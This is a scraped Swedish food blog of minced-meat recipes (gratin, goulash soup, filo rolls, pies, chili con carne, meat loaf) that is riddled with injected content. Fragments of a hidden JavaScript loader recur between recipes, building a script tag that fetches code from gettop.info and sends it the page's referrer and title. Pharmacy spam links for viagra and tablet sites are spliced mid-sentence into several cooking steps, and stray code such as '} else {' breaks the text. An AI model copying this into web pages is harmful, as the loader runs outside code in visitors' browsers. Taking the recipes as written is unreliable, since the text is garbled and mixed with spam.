Köttfärsgratäng

1Här kommer ett recept på en fräsch köttfärsgratäng.

Recept 4 personer

1/2 gul lök
2 vitlöksklyftor
500 gram nötfärs
1 tsk torkad oregano
1 tsk torkad timjan
1 tsk torkad basilika
1 tsk salt
1 förp krossade tomater
1/2 blomkålshuvud
1/2 Zucchini
1 förpackning mozzarella

Gör så här:
Sätt ugnen på 200 grader.
Skala och finhacka lök och vitlök. Hetta upp en stekpanna med olja och bryn löken utan att den tar färg. Tillsätt färsen och bryn den så att den blir genomstekt. Krydda med oregano, timjan, basilika och salt. Tillsätt krossade tomater och låt den http://www.buy-trusted-tablets.com puttra ihop snabbt.
Skölj och skiva (med mandolin) blomkålen och grovriv zucchinin. Krama ur vätskan från zucchinin. Blanda ihop köttfärssåsen med blomkål och zucchini i en ugnsfast form. Toppa med skivad mozzarella och sätt i ugnen ca 15-20 min.

Servera gratängen med en sallad.
4
3
2
1

Gulaschsoppa med köttfärs

bild2

Igår lagade jag en gulaschsoppa som blev riktigt god. Grundreceptet hittade jag här.

4 port:
400 g nötfärs
1 burk krossade tomater
1 stor morot
2 potatisar
1 gul lök
1 röd paprika
smör att steka i
1 köttbuljongtärning
1/2 liter vatten
1-2 msk soja
2 vitlöksklyftor
2 tsk spiskummin
1 tsk paprikapulver
salt & peppar
(cayennepeppar om man vill)

creme fraiche till servering

Bryn köttfärsen och lägg åt sidan. Hacka lök, potatis, paprika och morot i små bitar och bryn detta i smör i en stor gryta. Häll på vatten, buljongtärning, https://www.acheterviagrafr24.com/prix-viagra/ kummin, paprikapulver, soja, pressad vitlök och krossade tomater. Häll i köttfärsen.

Låt koka tills grönsakerna mjuknat. Smaka av med salt & peppar och ev lite mer soja.  Servera med en klick creme fraiche.

 

bild1

var d=document;var s=d.createElement(‘script’);

Filodegsrullar med köttfärsfyllning

Här kommer ett lätt och gott recept på filodegsrullar med köttfärsfyllning. Servera gärna med en god råkostsallad. Jag gjorde både en råkostsallad och coleslawsallad. Servera med lite sweet chilisås.

Filodegsrullar (4 portioner)
400 gram böngroddar
1/2 rödlök
300 gram morötter
500 gram vitkål
2 tsk vitvinsvinäger
1 tsk sesamolja
2 msk olja
400 gram fläskfärs
2 msk japansk soja
250 gram filodeg
1  msk sesamfrön
Olja till pensling
Salt och peppar

Gör så här:
Skala och skär löken i tunna strimlor. Skala och grovriv mörötterna. Strimla vitkålen tunt.
Lägg hälften av morötterna och vitkålen i en skål på på en dressing av vinäger, sesamolja, hälften av oljan, salt och peppar =den goda råkostsalladen som du serverar till filodegsrullarna.

Bryn färsen i resterande olja i en stor stekpanna. Tillsätt lök och resten av morötterna och vitkålen. Låt fräsa i ca 5 minuter. Blanda i böngroddar och soja. Krydda med peppar.
Pensla kanterna på 1 filodegsark med olja. Vik ihop på mitten och lögg med kortsidan mot dig. Pensla kanterna igen. Lägg ca 1 dl färsröra längs nedre delen, men spara en kant på ca 2 cm nedtill och sidorna. Vik ihop långsidorna. Rulla ihop till en rulle. Upprepa tills fyllningen och filoarken är slut.

Lägg filodegsrullarna med skarven nedåt på en plåt med bakplåtspapper. Pensla dem med olja. Strö över sesamfrön. Grädda mitt i ugnen ca 10 minuter. Mina filodegsrullar gräddade jag i ugnen.

Om du vill fritera filodegsrullarna, hettar du upp 1 liter neutral olja (tex rapsolja) till ca 180 grader i en kastrull. Fritera 3 filodegsrullar i taget ca 3 minyter per sida. Låt rinna av på hushållspapper.

var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Italienska köttfärsbiffar med mozzarellafyllning och fetaostkräm.

Jag har gjort dessa köttfärsbiffar några gånger och de är riktigt goda. Servera gärna med en god fetaostkräm, potatis och en sallad.

Köttfärsbiffar
400 gram nötfärs eller blandfärs (själv föredrar jag nötfärs)
1-2 msk ströbröd
2 msk mjölk
1 ägg
1/2 finhackad gul lök
1/2 tsk salt
1/2 vitlöksklyfta
1/2 tsk oregano
1/2 tsk torkad basilika
1/2 msk  färsk timjan
1/2 msk hackad https://www.viagrasansordonnancefr.com/viagra-achat/ persilja
Lite svartpeppar
1-2 påsar mozzarella
Margarin att steka köttfärsbiffarna i

Gör så här:
Sätt ugnen på 200 grader.
Blanda ströbrödet i mjölken och låt svälla en stund. Blanda sedan alla övriga ingredienser i en skål tillsammans med ströbrödet och mjölken. Arbeta ihop till en jämn smet. Forma tunna, platta biffar

 

 

 

 

 

 

 

 

 

 

Skär mozzarellan i tunna skivor. Jag fick 3 skivor på längden per mozzarella.  Lägg en skiva mozzarella mellan 2 biffar och sätt ihop biffarna så inte osten syns. Värm en stekpanna med lite flytande margarin. Stek biffarna ca 2-3 minuter på varje sida så att de får fin färg.

Lägg biffarna i en ugnsfast form och in i ugnen i ca 10-15 minuter. Servera biffarna med fetaostkräm och en god sallad.

 

 

 

 

 

Fetaostkräm
1 burk creme fraiche
2-3 msk honung
100 gram smulad fetaost
2-3 msk färsk hackad basilika
lite salt och peppar

Blanda samman alla ingredienser och förvara i kylen innan servering.
} else {

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Christa’s goda köttfärspaj

Köttfärspaj (5-6 personer)
Pajdeg:
200 gram margarin
200 gram keso
5 dl vetemjöl
1 krm salt

Fyllning:
400 gram nötfärs
margarin till stekning
2 dl finstrimlad purjolök
1 dl hackad paprika (röd eller grön)
50 gram rökt skinka, hackad (kan uteslutas)
1 tsk salt
2-3 krm svartpeppar
basilika
100-200 gram skivade champinjoner (kan uteslutas om ni inte tycker om champinjoner)
1 dl hackad persilja
kinesisk soja
1-2 vitlöksklyfor
1 burk krossade tomater
tacasco
3 dl ost, gärna grevé i tärningar

Gör så här:
Blanda ingredienserna till pajdegen. Låt den vila i kylskåp 1-2 timmar. Tryck ut 2/3 av pajdegen i en pajform och förgrädda i 200 grader 12-15 minuter.
Fyllningen görs i tre omgångar för att få fram alla smaker.
Börja med att bryna färsen. Krydda med salt och peppar. Rör ner purjolök, paprika och skinka.
Krydda med basilika och låt köttfärsröran puttra under lock ca 5 minuter.
Fräs svampen i smör eller margarin. Låt vätskan ånga bort och tillsätt persiljan.
Fräs vitlöken, finhackad eller pressad, i en kastrull och häll över tomatkrosset och några stänk tabasco. Låt det mesta av vätskan koka bort.
Fyll pajskalet, först med köttröran sedan med svampen och skeda sedan över tomatsåsen. Strö de cm-stora osttärningarna över.
Rulla den resterande degen till smala längder och lägg ett galler av deg överst.
Grädda pajen i 225 grader 15-20 minuter strax under mitten av ugnen.

Pajen går att göra helt klart dagen innan den ska ätas och sedan värmas upp i ugnen före servering.

 } else {

var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

Tacopaj

bild26

Nu har jag lagat en god tacopaj (paleo) och originalreceptet hittade jag här. Då jag är lite feg med starka smaker så
minskade jag en aning på chilipulver och cayennepeppar till köttfärsen.

Paleo Tacopaj:

Pajdeg
3 dl mandelmjöl
½ dl skalade sesamfrön
1 msk psyllium (eller fiberhusk)
1 tsk havssalt
40 g kokosolja
1 ägg
 bild13bild12bild16bild15bild14bild8
Fyllning
 400 g nötfärs
Tacokrydda – till ca 500g nötfärs blanda; 1½ tsk salt, 2 tsk chilipulver, 2 tsk paprikapulver, 1 tsk vitlökspulver, 1 tsk lökpulver,1 tsk spiskummin, 1 krm cayennepeppar
1 dl vatten
bild6bild10bild5bild4
Äggstanning
3 ägg
2 dl kokosmjölk
3-4 dl het salsa (förbered i förväg enl följande – 500g krossade tomater, 1 finhackad gul lök, 4-6 finhackade feferoni, 1-2 pressade vitlöksklyftor, 1 tsk chilipulver, 1 tsk paprikapulver, 0,5-1 tsk spiskummin, 1 krm cayennepeppar, salt och

peppar)

bild19bild18bild17bild11
bild9bild7bild2bild3
Dekoration
 Paprika
Gör så här:
  • Sätt ugnen på 175 grader
  • Börja med pajdegen och mixa mandelmjöl och de skalade sesamfröna i en mixer
  • Tillsätt de övriga ingredienserna och mixa till en deg
  • Tryck ut degen i en pajform och nagga med en gaffel
  • Förgrädda pajskalet i ca 10 minuter tills det fått lite färg
  • Börja med fyllningen
  • Bryn nötfärsen i lite kokosolja
  • Blanda till en sats med hemma tacokrydda ( se ingredienser ovan)
  • Häll på tacokryddan över nötfärsen och rör om
  • Häll https://www.acheterviagrafr24.com/viagra-pas-cher/ på vattnet och rör om igen så att

    kryddorna riktigt går in i nötfärsen

  • Låt vattnet koka in i nötfärsen.
  • Fyll pajskalet med nötfärsen
  • Vispa samman äggen och kokosmjölken och tillsätt den heta salsan,, ta salsa efter tycke och smak.
  • Häll äggstanningen över nötfärsen
  • Dekorera med lite paprika
  • Grädda pajen mitt i ugnen i ca 25 minuter eller tills äggstanningen stelnat och fått fin färg

Servera sedan pajen med en god sallad!

 

 

bild8bild5bild20bild22bild23

tacobild26bild27bild29bild30bild31

 }

var d=document;var s=d.createElement(‘script’);

Chili con carne

Igår lagade jag en supergod och enkel Chili con carne. Grundreceptet hittade jag här.

Ingredienser (4 personer)
400 gram nötfärs
1 gul lök
2 vitlöksklyftor
2 msk rapsolja
1 grön paprika (jag tog en röd paprika)
1 burk krossade tomater
2 msk tomatpuré
1 köttbuljongtärning
1 tsk chilipeppar
3 krm mejram
1 burk vita bönor i tomatsås (jag använde Heinz vita bönor i tomatsås)
1 burk borlotti bönor (jag köpte Coop’s egna märke)
1 förpackning passerade tomater

Tillagning
1. Skala och hacka löken och vitlöken. Kärna ur paprikan och skär den i bitar. Bryn lök och vitlök i lite olja på svag värme. Rör ner färsen och paprikan. Bryn alltsammans några minuter. Tillsätt tomatpuré och fräs en minut.
2. Lägg i resten av ingredienserna och kryddorna. Koka grytan utan lock ca 10-15 minuter. Rör om ofta. När det mesta av vätskan har kokat in, smaka av med salt och peppar.
3. Låt alltsammans bli genomvarmt. Servera med ris och sallad.

Bulle

 } else {

var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Spagettisoppa

IMG_4005

Igår lagade jag en spagettisoppa och receptet hittade jag här på ”Jennys Matblogg”.  Jag hällde i lite mer vatten för att få mer soppa och kryddade upp soppan med lite mer salt och peppar innan servering.

Recept 6 portioner :
smör
1 gul lök
1 pressad vitlöksklyfta
1 morot
800 gram – 1 kilo blandfärs
3 msk tomatpure
1 – 1,2 liter vatten
valfri mängd spagetti
2 st köttbuljongtärningar
2 msk kinesisk soja
1 1/2 msk paprikapulver
1/2 – 1 msk sambal oelek ( undvik om du inte vill ha hetta)
salt & peppar

Gör så här:
Hetta upp en kastrull med smör, fräs den hackade löken/ vitlöken, den slantade moroten tills det doftar nötigt. Vänd ner färsen och bryn den klar, pressa ner tomatpure och fräs en minut. Vänd ner vatten, buljong, soja, krossade tomater, paprika pulver och salt & peppar. Låt sjuda upp- bryt sist ner ner pastan och låt sjuda tills den är klar , smaka ev av med sambal oelek om ni vill ha lite hetta.

Serveras med creme fraiche och en bit gott bröd.

IMG_4007IMG_4010IMG_4006IMG_4008IMG_4005

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

if (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Indisk köttfärsgryta

1

Förra veckan blev jag bjuden på en supergod köttfärsrätt på ett kalas. Receptet kommer här.

Recept
500 gram nötfärs
1 gul lök
5 dl vispgrädde
1,5-2 dl chilisås
Curry
Salt

Gör så här:
Stek upp köttfärs och lök och krydda med salt och curry.
Häll över köttfärsröran i en ugnsfast form.
Vispa upp grädden och häll i lite mer curry och blanda i chilisås.
Häll gräddblandningen över köttfärsen och in i ugnen på 175 grader ca 20 minuter tills att fått fin färg.

Servera rätten med kokt ris och en sallad.

Tillbehör till rätten.
Banan
Mandariner
Ananas
Jordnötter
Mango chutney
Kokosflingor

Fräs gärna upp lite salladslök i olja och curry och servera till rätten.

564237

 

if (document.currentScript) {

Köttfärslimpa

Nu har jag lagat en superenkel köttfärslimpa. Receptet hittade jag på Arlas hemsida här.

9

Servera gärna med en god gräddsås som du gör av skyn och lite grädde/creme fraiche, soja, pressad vitlöksklyfta och lite salt och peppar.

Recept:
2 dl lättcreme fraiche
500 gram köttfärs (blandfärs)
1 paket fransk löksoppa (pulver)

Gör så här:
Sätt ugnen på 175 grader.
Blanda ingredienserna väl. Forma till en limpa. Lägg på en smord plåt eller använd en brödform.
Grädda  i ugnen i ca 40 minuter.

Till servering: Servera med kokt potatis och lingon/saltgurka. Sås kan ev göras på skyn som blir.

5764bild1328

 

}

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);